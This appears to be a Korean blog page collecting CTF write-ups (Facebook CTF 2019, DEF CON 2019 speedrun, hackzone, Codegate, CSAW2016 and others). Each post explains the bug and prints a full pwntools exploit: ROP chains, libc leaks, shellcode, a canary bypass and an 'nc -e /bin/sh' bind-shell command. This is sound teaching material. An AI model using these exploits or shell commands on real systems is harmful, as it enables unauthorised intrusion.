메인 화면이다.

소스코드를 전부 제공해주기 때문에 살펴보자.

flag는 facebook이란 name이 있는 description에 있다.

sql injeciton 문제처럼 보인다.

get_product($name)는 name만 받아서 name과 description을 받아온다. 

그러나 preapare statement가 적용되어 있어 sql injection이 불가능하다.

그래서 add.php를 잘 살펴보면 facebook이란 name이 있지만 공백을 하나 추가시키면 mysql의 PDASPACE타입에 의해 공백과 무관하게 같은 facebook을 넣을 수 있다.

'CTF' 카테고리의 다른 글

facebook CTF 2019 overfloat  (0) 2019.06.03
defcon2019 speedrun  (0) 2019.05.28
hackzone 2019 pwn2 (Syscall)  (0) 2019.05.09
hackzone 2019 pwn1  (0) 2019.05.07
BTH_CTF 2019  (0) 2019.05.01

atof 함수에서 소수로 받아 4바이트씩 변수에 집어넣는데 원하는 만큼 집어넣는게 가능해서 오버플로우가 가능하다.

 

단 소수로 원하는 페이로드를 만들려면 IEEE floating point 변환을 해줘야 한다.

파이썬 코드로 짜는게 가능하지만 일단 빨리 풀기 위해 requests모듈로 웹사이트 기능을 크롤링해서 소수변환을 했다.

 

from pwn import *
import time
import json
import requests

def get_float(want):
	url = "https://www.h-schmidt.net/FloatConverter/binary-json.py?hexadecimal={}".format(want)
	response = requests.get(url)
	data = json.loads(response.text)

	return str(data['decimalRepr'])

#p = process('./overfloat')
p = remote('challenges.fbctf.com', 1341)
elf = ELF('./overfloat')
libc = ELF('./libc-2.27.so')

p.recv()

#nop = "-5.702072E-29"
nop = get_float("0x90909090")
pop_rdi = get_float("0x400a83")
pop_rsi_r15 = get_float("0x400a81")
puts_plt = get_float(hex(elf.plt['puts']))
puts_got = get_float(hex(elf.got['puts']))
main = get_float("0x400993")

i = 0
while(True):
	if i >= 14:
		break
	i += 1
	p.sendline(nop)
	p.recv()

p.sendline(pop_rdi)
p.recv()
p.sendline("0.0")
p.recv()
p.sendline(puts_got)
p.recv()
p.sendline("0.0")

p.sendline(puts_plt)
p.recv()
p.sendline("0.0")
p.recv()

#pause()

p.sendline(main)
hexdump(p.recv())
p.sendline("0.0")
hexdump(p.recv())

p.sendline("done")
#pause()
hexdump(p.recvuntil("\x0a"))

libc_puts = u64(p.recv(6).ljust(8, "\x00"))
log.info("libc_puts = {}".format(hex(libc_puts)))
libc_base = libc_puts - libc.symbols['puts']
log.info("libc_base = {}".format(hex(libc_base)))
libc_gets = libc_base + libc.symbols['gets']
log.info("libc_gets = {}".format(hex(libc_gets)))
oneshot = libc_base + 0x4f322
log.info("oneshot = {}".format(hex(oneshot)))

#pause()

i = 0
while(True):
	if i >= 14:
		break
	i += 1
	p.sendline(nop)
	p.recv()

p.sendline(pop_rdi)
p.recv()
p.sendline("0.0")
p.recv()

p.sendline(puts_got)
p.recv()
p.sendline("0.0")
p.recv()

p.sendline(get_float('0x'+hex(libc_gets)[-8:]))
p.recv()
length = len(hex(libc_gets)) - len(hex(libc_gets)[-8:])
p.sendline(get_float(hex(libc_gets)[:4+2]))
p.recv()

p.sendline(puts_plt)
p.recv()
p.sendline("0.0")
p.recv()

p.sendline("done")

hexdump(p.recv())
#pause()
p.sendline(p64(oneshot))
p.interactive()

 

 

Ref.https://www.h-schmidt.net/FloatConverter/IEEE754.html

'CTF' 카테고리의 다른 글

facebook CTF 2019 products-manager  (0) 2019.06.04
defcon2019 speedrun  (0) 2019.05.28
hackzone 2019 pwn2 (Syscall)  (0) 2019.05.09
hackzone 2019 pwn1  (0) 2019.05.07
BTH_CTF 2019  (0) 2019.05.01

시간이 없어서 이제 올린다.. 다른 문제 더 풀고 또 추가할 예정

speedrun001

from pwn import *

#p = process("./speedrun-001")
p = remote("speedrun-001.quals2019.oooverflow.io", 31337)
elf = ELF("./speedrun-001")

pop_rdi = 0x48e712
pop_rsi = 0x48e213
pop_rdx_rsi = 0x44be39
pop_rax = 0x415664
mov_eax_syscall_write = 0x004499b0
bss = elf.bss()
binsh = "/bin/sh\x00"
syscall = 0x474e65

print p.recv()
payload = "A"*1032
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rdx_rsi)
payload += p64(len(binsh))
payload += p64(bss+0x1000)
payload += p64(syscall)

payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(bss+0x1000)
payload += p64(pop_rdx_rsi)
payload += p64(0)
payload += p64(0)
payload += p64(syscall)

#pause()
p.sendline(payload)
#pause()

p.sendline(binsh)
p.interactive()

pop rax 가젯으로 syscall을 호출했다.

 

speedrun002

from pwn import *

#p = process('./speedrun-002')
p = remote('speedrun-002.quals2019.oooverflow.io', 31337)
elf = ELF('./speedrun-002')
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
pop_rdi = 0x4008a3
pop_rsi_r15 = 0x4008a1
pop_rdx = 0x4006ec
write_offset = 0x110140

print p.recv()
p.sendline("Everything intelligent is so boring.")
print p.recv()

payload = "A"*0x408
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(write_got)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(8)
payload += p64(write_plt)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(write_got)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(8)
payload += p64(read_plt)

payload += p64(write_plt)

pause()
p.sendline(payload)
pause()
p.recvuntil("ting.\x0a")
libc_write = u64(p.recv(8))
libc_base = libc_write - write_offset
one_gadget = libc_base + 0x4f322
log.info("libc_write = {}".format(hex(libc_write)))
log.info("libc_base = {}".format(hex(libc_base)))
log.info("one_gadget = {}".format(hex(one_gadget)))

p.sendline(p64(one_gadget))

libc leak을 한 후 libc_database를 사용해 offset을 구해 익스했다.

 

 

speedrun003

from pwn import *

p = process('./speedrun-003')
#p = remote('speedrun-003.quals2019.oooverflow.io', 31337)
#pause()
print p.recv()

payload = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb"
payload += "\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload += "\x4e\x4e\x56"
p.send(payload)

p.interactive()

리버싱으로 쉘코드가 만들어지는 값을 찾아 내었다.

 

speedrun004

from pwn import *

#p = process('./speedrun-004')
p = remote('speedrun-004.quals2019.oooverflow.io', 31337)
elf = ELF('./speedrun-004')

bss = elf.bss()
pop_rax = 0x415f04
pop_rdi = 0x483f1c
pop_rsi = 0x410a93
pop_rdx = 0x44c6b6
syscall = 0x475a27
binsh = "/bin/sh\x00"

print p.recv()
#pause()

p.sendline("\x09\x09257")
#pause()
print p.recv()
#pause()

payload = "\x90"*112
#payload += "U"*108 # here!!!

payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss+0x1000)
payload += p64(pop_rdx)
payload += p64(len(binsh))
payload += p64(syscall)

payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(bss+0x1000)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)

#payload += "C"*8
payload += "\x28"*(257-len(payload))

p.send(payload)
#pause()

p.send(binsh)
p.interactive()

한번에 따지지는 않지만 여러번 시도하면 확률적으로 쉘이 따진다.

 

'CTF' 카테고리의 다른 글

facebook CTF 2019 products-manager  (0) 2019.06.04
facebook CTF 2019 overfloat  (0) 2019.06.03
hackzone 2019 pwn2 (Syscall)  (0) 2019.05.09
hackzone 2019 pwn1  (0) 2019.05.07
BTH_CTF 2019  (0) 2019.05.01

정말 간단한 bof로 보여졌다.... 

rbp-0x80보다 많은 512 바이트를 받으니까.

 

근데 막상 문제를 보면 write도 없고 쓸 수 있는 함수가 없어서 read만 가지고는 평소처럼 rop를 할 수 없었다.

근데 운 좋게도 문제를 풀 때 어떤 블로그를 띄워 놓고 있었는데 그 블로그에서 말하는 바로는 각 함수에서 몇 바이트만 가다 보면 syscall이 있다는 사실을 적어 놨다.

이 문제의 read@got를 봤다.

read@got = 0x7ffff7b04250 일 때

read의 syscall은 마지막 한바이트만 바뀐 0x7ffff7b0425e다.

read@got를 한바이트만 GOT Overwrite해서 syscall로 만들어 준 다음, rax값만 잘 변조하면 read@got를 syscall로 움직여서 원하는 함수를 마음대로 실행할 수 있다.

rax값은 read 함수의 반환 값으로 조절이 가능하고, write함수도 마찬가지로 반환값으로 원하는 rax를 조절할 수 있다.

 

내 페이로드는 다음과 같다.

read(0, bss+0x100, 1);

read(0, read@got, 1);

read(1, read@got, 59);        // rax 조절을 위한 실행

read@got(bss+0x100, 0, 0); // ececve(bss+0x100, 0, 0);

이다.

 

from pwn import *

p = process("./pwn2")
elf = ELF("./pwn2")

read_plt = elf.plt['read']
read_got = elf.got['read']
pop_rdi_rsi_rdx = 0x400531
bss = elf.bss()

payload = "A"*136	# with sfp
payload += p64(pop_rdi_rsi_rdx)
payload += p64(0)
payload += p64(bss+0x100)	#/bin/sh
payload += p64(len("/bin/sh\x00"))
payload += p64(read_plt)

payload += p64(pop_rdi_rsi_rdx)
payload += p64(0)
payload += p64(read_got)
payload += p64(1)
payload += p64(read_plt)

payload += p64(pop_rdi_rsi_rdx)
payload += p64(1)
payload += p64(read_got)
payload += p64(59)
payload += p64(read_plt)

payload += p64(pop_rdi_rsi_rdx)
payload += p64(bss+0x100)
payload += p64(0)
payload += p64(0)
payload += p64(read_plt)

#pause()
p.sendline(payload)
#pause()
p.send("/bin/sh\x00")
p.sendline("\x5e")
p.interactive()

 

추가로 xor eax 가젯으로 eax를 조절하는 방법도 있다.

Ref.https://asiagaming.tistory.com/6

'CTF' 카테고리의 다른 글

facebook CTF 2019 overfloat  (0) 2019.06.03
defcon2019 speedrun  (0) 2019.05.28
hackzone 2019 pwn1  (0) 2019.05.07
BTH_CTF 2019  (0) 2019.05.01
plaid 2019 can you guess me?  (0) 2019.04.15

이 문제는 특이하게 모든 함수가 syscall로 구현되어 있다.

첨에 당황했는데 다른 rop처럼 똑같이 오버플로우로 rip를 syscall로 조작해서 libc leak을 하면 된다.

하지만 got 영역을 가진 함수가 없어서 고민을 하다가 pwntool로 이 함수 저함수 찾다가 __libc_start_main이 got가 있음을 알게 되었다.

그래서 libc leak해서 oneshot 가젯의 주소를 구했고, 그 다음 oneshot가젯을 bss에 저장했다.

syscall로 read해서 bss에 저장하려고 했으나 이 문제를 보면 login()에서 write, read를 다 진행해주기 때문에 rip를 이 쪽으로 돌려줘서 read할 때 oneshot 가젯의 주소를 넣어주었다.(첫 번째 read와 두 번째 read에 oneshot을 넣어줬다. 왜냐면 check()함수에서 두 부분이 같은지 확인하기 때문.) 그리고 이 함수에서 read하는 버퍼는 bss영역이기 때문에 저장되는 주소는 바로 알 수 있다.



그리고 pop_rsp가젯으로 bss 영역의 위치를 rsp로 pop시킨 후 마지막에 실행시키도록 하는 가젯을 이용했다.

from pwn import *

p = process("./pwn1")
elf = ELF("./pwn1")

pop_rdi = 0x00400683
pop_rsi_r15 = 0x400681
pop_rsp_r13_r14_r15 = 0x40067d
start = elf.got['__libc_start_main']
write_syscall = 0x400526
bss = elf.bss()

payload = ""
payload += "A"*40
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(start)
payload += p64(0)
payload += p64(write_syscall)

payload += p64(pop_rsp_r13_r14_r15)
payload += p64(bss+12)
payload += p64(0)
payload += p64(0)
payload += p64(bss+12)

print p.recv()
p.sendline("AAAA")
print hexdump(p.recv())
p.sendline("AAAA")
print hexdump(p.recv())
#pause()
p.sendline(payload)
__libc_start_main = u64(p.recv(8))
log.info("__libc_start_main = {}".format(hex(__libc_start_main)))
oneshot = __libc_start_main +  0x24b2a
log.info("oneshot = {}".format(hex(oneshot)))
print p.recv()
p.sendline(p64(oneshot))
print p.recv()
p.sendline(p64(oneshot))
p.interactive()

'CTF' 카테고리의 다른 글

defcon2019 speedrun  (0) 2019.05.28
hackzone 2019 pwn2 (Syscall)  (0) 2019.05.09
BTH_CTF 2019  (0) 2019.05.01
plaid 2019 can you guess me?  (0) 2019.04.15
codegate2019 aeiou  (0) 2019.02.23

batter_up

from pwn import *

p = process("./batter_up")
elf = ELF("./batter_up")

system = elf.plt['system']
binsh = 0x804874a
print p.recv()

payload = ""
payload += "A"*48
payload += p32(system)
payload += "DDDD"
payload += p32(binsh)

p.sendline(payload)

p.interactive()

batter_up 3

from pwn import *

p = process("./batter_up_3")
elf = ELF("./batter_up_3")
lib = ELF("./libc_e3d54f5709190f15a9c51089c70f2069771913c1.so.6")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
gets = elf.plt['gets']
bss = elf.bss()
pr = 0x080483d1
ppr = 0x0804870a
pppr = 0x08048709

p.recv()

payload = ""
payload += "A"*44
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)

payload += p32(gets)
payload += p32(pr)
payload += p32(bss)

payload += p32(puts_plt)
payload += p32(pr)
payload += p32(bss)

payload += p32(gets)
payload += p32(pr)
payload += p32(puts_got)

payload += p32(puts_plt)
payload += "DDDD"
payload += p32(bss)

p.sendline(payload)

libc_puts = u32(p.recv(4))
log.info("libc_plt = {}".format(hex(libc_puts)))
libc_system = libc_puts - 0x24f00
log.info("libc_system = {}".format(hex(libc_system)))
p.sendline("/bin/sh\x00")

p.sendline(p32(libc_system))

p.interactive()

'CTF' 카테고리의 다른 글

hackzone 2019 pwn2 (Syscall)  (0) 2019.05.09
hackzone 2019 pwn1  (0) 2019.05.07
plaid 2019 can you guess me?  (0) 2019.04.15
codegate2019 aeiou  (0) 2019.02.23
CSAW2016 tutorial  (0) 2019.02.01
#! /usr/bin/env python3

from sys import exit
from secret import secret_value_for_password, flag, exec

print(r"")
print(r"")
print(r"  ____         __   __           ____                     __  __       ")
print(r" / ___|__ _ _ _\ \ / /__  _   _ / ___|_   _  ___  ___ ___|  \/  | ___  ")
print(r"| |   / _` | '_ \ V / _ \| | | | |  _| | | |/ _ \/ __/ __| |\/| |/ _ \ ")
print(r"| |__| (_| | | | | | (_) | |_| | |_| | |_| |  __/\__ \__ \ |  | |  __/ ")
print(r" \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_|  |_|\___| ")
print(r"                                                                       ")
print(r"")
print(r"")

try:
    val = 0
    inp = input("Input value: ")
    count_digits = len(set(inp))
    if count_digits <= 10:          # Make sure it is a number
        val = eval(inp)
    else:
        raise

    if val == secret_value_for_password:
        print(flag)
    else:
        print("Nope. Better luck next time.")
except:
    print("Nope. No hacking.")
    exit(1)

간단한 pyjail 문제다.

inp는 10개 미만으로 넣어줘야 하기 때문에 input()을 넣어주고 다시 입력 받은 값을 val에 넣도록 했다.
그래서 첨에 만든 payload는 dir(import('os').execlp("sh","sh")) 였는데 이게 python2에서는 쉘을 얻을 수 있는데 python3에서는 무슨 차이인지는 모르겠는데 예외 처리되면서 안된다.

시험기간이라 일단 재껴놓고 있다가 라업 올라오고 확인해보니
chr로 문자열을 만드셔서 하는 분도 있었고,
print(vars())
로 처리하거나
help(flag)
로 문제를 푸신분들도 있다.

근데 vars(), help()로 푼게 unintended 풀이라고 한다.

'CTF' 카테고리의 다른 글

hackzone 2019 pwn1  (0) 2019.05.07
BTH_CTF 2019  (0) 2019.05.01
codegate2019 aeiou  (0) 2019.02.23
CSAW2016 tutorial  (0) 2019.02.01
TJCTF 2016 oneshot  (0) 2019.01.24


간단하게 요약하면 취약점이 있는 함수는 3번 메뉴다.



3번 메뉴의 함수를 보면 pthread_create 함수로 start_routine이란 함수를 thread로 실행시킨다.


start_routine 함수를 보면 s변수의 크기는 '(rbp-0x1010) - 8' 만큼 있고, 

getNumber()함수로 받은 수가 65536보다 작으면 vuln()함수를 실행시킨다.



vuln()함수는 a3만큼 a2에 read하는 함수다.

즉 여기서 overflow가 일어난다.

number를 65535 까지 입력할 수 있는데 아까 s변수는 rbp-0x1010-8이다 즉 4104 만큼이 s변수고 그 다음에 오버플로우로 ret까지 덮을 수 있다.

하지만 이 문제는 카나리가 있어서 우회를 하던가 leak을 해야 한다.

ptrhead함수에 의해 thread로 실행한 함수는 thread의 stack에 TLS(Thread Local Storage)를 사용하여 변수를 저장하고, 원래 카나리를 thread의 stack으로 복사한 후 카나리 체크를 할 때는 해당 스택으로 복사된 카나리와 비교를 한다고 한다.

만약 오버플로우로 복사된 카나리 값 까지 원하는 값으로 덮어 버리게 되면 내가 원하는 값이 카나리로 들어가게 되는 원리다.

우선 gdb로 카나리 값 전까지 입력을 준 다음 thread의 stack으로 복사된 TCB 구조체의 stack_guard 값을 find 명령으로 찾아보았다.

rbp-0x8에 있는 값이 카나리다.

stack에 위치한 카나리와 stack_guard의 거리는 0x7e0(2016)이다. 

즉 카나리 부터 2016바이트까지 덮은 다음 8바이트를 원하는 값으로 채워주면 카나리를 우회할 수 있다.

이 원리를 이용해 rop를 했다.


from pwn import *

#r = process("./aeiou", env={"LD_LIBRARY_PATH":"."})
r = process("./aeiou")
elf = ELF('./aeiou')
libc = ELF('./libc.so')

pop_rdi = 0x4026f3
pop_rsi_r15 = 0x4026f1
pop_rsp = 0x4026ed

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']
read_got = elf.got['read']
bss = elf.bss() + 0x200

payload = "\x00"*(0x1010-8)
payload += "DDDD"*4
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(bss)
payload += p64(0)
payload += p64(read_plt)

payload += p64(pop_rsp)
payload += p64(bss-0x18)
payload += "D"*2000

r.sendlineafter(">>", "3")
r.sendlineafter("Let me know the number!", str(len(payload)))

r.send(payload)
pause()
r.recvuntil(":)\x0a")

libc_puts = u64(r.recv(6).ljust(8, "\x00"))
libc_base = libc_puts - libc.symbols['puts']
log.info("libc_puts = {}".format(hex(libc_puts)))
one_gadget = libc_base + 0x4526a
pause()
r.sendline(p64(one_gadget))

r.interactive()


다른분의 라업을 보고 알았는데 bss에 oneshot 가젯의 주소를 read한 다음에 pop_rsp 가젯으로 bss영역을 실행하도록 하는 방법이 신박하다.

return to csu로 풀은 것도 봤는데 다음번에 써봐야겠다.

'CTF' 카테고리의 다른 글

BTH_CTF 2019  (0) 2019.05.01
plaid 2019 can you guess me?  (0) 2019.04.15
CSAW2016 tutorial  (0) 2019.02.01
TJCTF 2016 oneshot  (0) 2019.01.24
QIWICTF 2016 pwn200  (0) 2019.01.23


주어진 zip 파일을 받아서 압축을 해제하면 문제 바이너리와 tar 파일이 나온다.

tar를 또 해제하면 아래와 같이 엄청나게 많은 라이브러리 파일이 들어있다.

정말 많은 양의 라이브러리가 있다.


우선 바이너리를 실행했다.

실행을 하면 처음에 입력을 한번 받고 두번 째 입력을 받는다.

얼추 유추해보면 처음 받는 수는 라이브러리이름 넘버를 받는 것으로 보인다.


두 번째 입력은 뭔가를 받는데 반응이 없다.


이번엔 다른 값을 넣어보았다.

이번엔 라이브러리를 임의로 55를 넣었다.

그리고 이번엔 '\\\\\\'를 넣었더니 명령어 에러 메시지가 나왔다.

두 번째 입력은 ls 뒤에 들어가도록 된 듯 하다.

이제 ida로 확인해보자.

2000의 main함수다.

input으로 라이브러리의 숫자를 받는것을 볼 수 있고,

해당 라이브러리의 test라는 함수의 주소를 가져와 실행시킨다.


나는 55를 넣었으니 lib_55.so 파일도 ida로 열었다.

lib_55.so에서는 lib_9068.so의 filter1 함수를 가져오고, lib_8658.so의 filter2함수를 가져온다.

그리고 system함수의 인자로 ls ""를 준다. 내가 입력한 값은 저 ls의 옵션 부분으로 들어간다.

lib_9068.so의 filter1함수다. 입력값의 필터로 보인다.

libc_8658.so의 filter2다.

f,l,g, bin, sh, bash가 필터로 막혀있다.

두 함수 다 두 번째 입력에 대한 필터 들이다.

이 부분을 우회 해야하는데 우회법을 찾지 못했고, 다른분의 라업을 보면 r2pipe라는 파이썬 라이브러리를 이용했다.


r2pipe는 radare2라는 리버싱 툴을 파이썬으로 사용 가능 하도록 한 API이다.

이 많은 라이브러리들 중 필터가 다른 라이브러리를 찾아서 문제를 풀었다.


import r2pipe
import ast

test = []
filter1 = []
filter2 = []

for i in range(1, 20000+1):
	r2 = r2pipe.open('./lib_{}.so'.format(i))
	if 'dlopen' in r2.cmd('ii'):
		test.append(i)
	if 'filter1' in r2.cmd('is'):
		filter1.append(i)
	if 'filter2' in r2.cmd('is'):
		filter2.append(i)
	if i % 12 == 0:
		print i
	r2.quit()

r = open('test', 'w')
r.write(str(test))
r.close()

r = open('filter1', 'w')
r.write(str(filter1))
r.close()

r = open('filter2', 'w')
r.write(str(filter2))

r2.cmd('ii')는 import 리스트를 출력하는 명령이고,

r2.cmd('is')는 symbol 리스트를 출력하는 명령이다.

해당 명령 설명은 radare2를 실행시켜 명령을 보면 나온다.

위 코드로 filter1, filter2를 가지고 있는 라이브러리 파일들의 리스트를 각각 추출해서 파일로 저장했다.(너무 오래 걸리기 때문에..)


이제 그 리스트로 lib_55.so의 filter1과 다른 필터를 가진 라이브러리를 찾을 것이다.

test = open('./test', 'r').read()
filter1 = open('./filter1', 'r').read()
filter2 = open('./filter2', 'r').read()

test = ast.literal_eval(test)
filter1 = ast.literal_eval(filter1)
filter2 = ast.literal_eval(filter2)

diff = []
for i in filter1:
    r2 = r2pipe.open('./lib_{}.so'.format(i))
    r2.cmd('aaa')
    filters = ['0x3b', '0x2a', '0x7c', '0x26', '0x24', '0x60', '0x3e', '0x3c', '0x72']
    out = r2.cmd('pdf @ sym.filter1')

    for filter in filters:
        if filter not in out:
            ff.append(i)
            break
    r2.quit()

print diff

각 라이브러리 filter1의 어셈블 코드를 받아 55의 필터와 비교하고 없다면 찾아내는 코드다.

lib_4323.so만 다르다고 나왔다.

filter1을 보니 | 문자가 필터에 없었다.

이번엔 이 lib_4323을 불러오는 test()함수를 가진 라이브러리를 찾아보자.

file = []
for i in test:
    r2 = r2pipe.open('./lib_{}.so'.format(i))
    if "./20000_so/lib_4323.so" in r2.cmd('iz'):
        print "find"
        file.append(i)

    if (i % 12 == 0):
        print i
    r2.quit()
print file

r2.cmd('iz')는 해당 바이너리의 string을 찾아내는 명령이다.

lib_17394.so가 나왔다.


lib_17394.so를 ida로 보면 lib_4323.so를 dlopen하고 system("입력값" 2 > /dev/null)을 실행한다. 아까 lib_55.so와는 많이 다른 코드를 가지고 있다.

여기서는 또 lib_11804.so를 dlopen한다. 다시 ida로 lib_11804.so을 열어보자.

아까 본 filter2와는 다른 필터를 가지고 있다. 여기는 bin, sh 다 필터에 없다.

따라서 lib_17394.so를 실행시키면 system("sh")을 실행시킬 수 있다!



'CTF > Codegate' 카테고리의 다른 글

codegate 2018 super marimo  (0) 2019.01.19
CodeGate2018 BaskinRobins31  (0) 2018.07.14
Codegate 2018 RedVelvet writeup  (0) 2018.02.04

문제를 풀기위한 제약 조건이 많아서 ida로 그 조건을 찾아서 맞춰 줘야 바이너리가 정상적으로 실행됨.


from pwn import *

r = remote("localhost", 9797)
libc_elf = ELF("./libc-2.19.so")
elf = ELF("./tutorial")

read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
bss = elf.bss()
cmd = "nc -lvp 5454 -e /bin/sh\x00"
r.sendlineafter(">", "1")
r.recvuntil("Reference:")

libc_puts = int(r.recv(14), 16) + 1280
libc_system = libc_puts - 0x2a300
log.info("libc_puts = {}".format(hex(libc_puts)))
log.info("libc_system = {}".format(hex(libc_system)))

pop_rdi = libc_puts + 0x12e515
pop_rsi = libc_puts + 0xcd587
pop_rdx = libc_puts - 0x6dafe

r.sendlineafter(">", "2")

payload = "A"*311
r.sendlineafter("Time to test your exploit...", payload)

r.recvuntil("A\x0a")
canary = u64(r.recv(8))
log.info("canary = {}".format(hex(canary)))

print r.sendlineafter(">", "2")
payload = "\x90"*312
payload += p64(canary)
payload += "\x90"*8

payload += p64(pop_rdi)
payload += p64(4)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(30)
payload += p64(read_plt)

payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(libc_system)
pause()
r.sendlineafter(">", payload)
pause()
r.sendline(cmd)



'CTF' 카테고리의 다른 글

plaid 2019 can you guess me?  (0) 2019.04.15
codegate2019 aeiou  (0) 2019.02.23
TJCTF 2016 oneshot  (0) 2019.01.24
QIWICTF 2016 pwn200  (0) 2019.01.23
SEC-T CTF PingPong  (0) 2018.09.16

+ Recent posts